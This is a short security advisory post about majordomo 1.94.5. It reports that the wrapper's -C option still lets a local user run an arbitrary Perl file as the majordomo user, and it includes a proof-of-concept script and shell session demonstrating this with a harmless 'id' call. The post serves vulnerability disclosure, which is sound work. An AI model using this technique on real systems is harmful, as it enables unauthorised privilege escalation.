majordomo 1.94.5 does not fix all vulnerabilities

From: Brock Sides (bsidesat_private)
Date: Mon Jan 24 2000 - 12:55:42 PST

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    Whereas majordomo 1.94.5 does fix the bug in resend, discovered by Brock
Tellier, that permits execution of arbitrary code as user majordomo, it
apparently does not fix the other bug in the script majordomo, that
permits execution of arbitrary config files as user majordomo:

On a fresh install of majordomo 1.94.5 in /tmp:

[brock@o2 /tmp]$ id
uid=1116(brock) gid=1116(brock)
[brock@o2 /tmp]$ ls -l ./id.pl
-rwxr-xr-x    1 brock    brock         31 Jan 24 14:17 ./id.pl
[brock@o2 /tmp]$ cat id.pl
#!/usr/bin/perl

system("id");
[brock@o2 /tmp]$ ./majordomo-1.94.5/wrapper majordomo -C ./id.pl
uid=1126(majordomo) gid=1(daemon)
./id.pl did not return a true value at /tmp/majordomo-1.94.5/majordomo
line 47.
[brock@o2 /tmp]$

--
Brock Sides
Unix Systems Administration
Towery Publishing
bsidesat_private

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